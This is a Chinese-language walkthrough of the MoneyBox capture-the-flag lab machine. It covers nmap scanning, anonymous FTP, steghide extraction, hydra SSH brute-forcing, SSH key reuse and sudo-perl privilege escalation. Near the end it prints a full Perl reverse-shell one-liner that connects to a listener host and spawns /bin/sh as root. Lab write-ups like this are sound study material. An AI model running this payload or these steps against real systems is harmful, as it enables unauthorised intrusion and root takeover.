vuln靶场--MoneyBox

文章目录

         一、信息收集

         二、漏洞发现

         三、漏洞利用

         四、权限提升

总结

---

一、信息收集

常规的主机发现以及端口扫描，扫描自己所在的网段。

nmap 192.168.216.0/24

​​​​

nmap -A -v -T4 -p 1-65535 192.168.216.145

可以看到服务器开启了80端口和22ssh的端口和21端口以及一些服务器的信息，网站搭建的中间件以及版本等等信息。 

二、漏洞发现

访问服务器的80端口

一个非常普通的网站，在目前来看并不能发现什么业务功能，页面提示很简单。接下来对网站进行目录扫描，看看能不能发现有信息的文件。

 

扫描的结果有2个页面，依次访问看看是否能够收集有用的信息

 

拉到源代码的下面发现了一个提示，还有一个叫S3cr3t-T3xt的隐藏目录，访问看一下。

查看了源代码后发现了一个密钥        3xtr4ctd4t4

在服务器开放的21端口中有一张图片，打算下载下来看看

网下查找了一下信息，发现可以使用匿名登录到ftp服务器，于是使用kali连接到服务器上将图片下载下来

ftp 192.168.216.145
输入匿名账号：anonymous
密码为空即可

使用命令get trytofind.jpg

图片名字提示尝试去寻找，因此我们来分析这一张图片

网上查找了资料后，发现可以使用steghide工具来对图片进行查看分析，并且该工具能提取图片中隐藏的文件信息。

steghide info trytofind.jpg

结合上面取得的密钥，发现图片隐藏了一个data.txt的文件

steghide extract -sf trytofind.jpg

将文件提取出来查看内容

所以猜测ssh应该有弱口令的漏洞，用户是renu，使用kali的hydra模块对其进行爆破

字典可以自己找，也可以用kali上面自带的字典，路径就在上面写的路径上面，可能需要解压才能使用 

 三、漏洞利用

使用爆破出来的账号和密码连接到服务器

ssh renu@192.168.216.145

成功连接到服务器

获取到第一个flag 

 

 四、权限提升

 第一步想使用sudo进行提权，但是当前这个用户并没有su的权限

 

接着在/home目录下发现了另外的一个用户lily，尝试切换到此用户进行提权 

首先查看了一下history历史命令，发现曾经生成过公钥私钥，并且将公钥拷贝到了lily用户中，生成公钥时，也会在自己的目录下生成公钥和私钥。查看这2个用户下的公钥是否一致。

对比后发现一致，因此可以直接在renu用户下使用ssh切换到lily用户下，并且不需要密钥。 

ssh lily@127.0.0.1

切换成功，拿到了第2个flag ，但是还不是root权限

继续查看history命令，使用了sudo -l，

 不能使用su命令切换到root权限，但是可以使用perl脚本，因此可以使用perl反弹shell，因为perl不需要密码就可以使用sudo，所以反弹过来的shell也是有root权限的。

首先在kali开启一个nc监听7777端口

nc -lnvp 7777

 然后在lily用户使用perl脚本连接到7777端口进行反弹shell

sudo perl -e 'use Socket;$i="192.168.216.128";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

成功拿下root权限 ！

 最后的flag是隐藏文件，需要使用ls -a才能看到，拿下最后一个flag！！！完结！！！

---

总结

没思路时多看看源代码，尝试进行爆破，端口全都要注意

图片可以嵌入隐藏数据，strings <图片>，分析规律，使用steghide工具来提取图片中的数据。

密钥发送到其他用户下可以不用密码可以使用ssh连接到其他用户

sudo -l；sudo -s；history；这些命令可以分析到一些细节，权限利用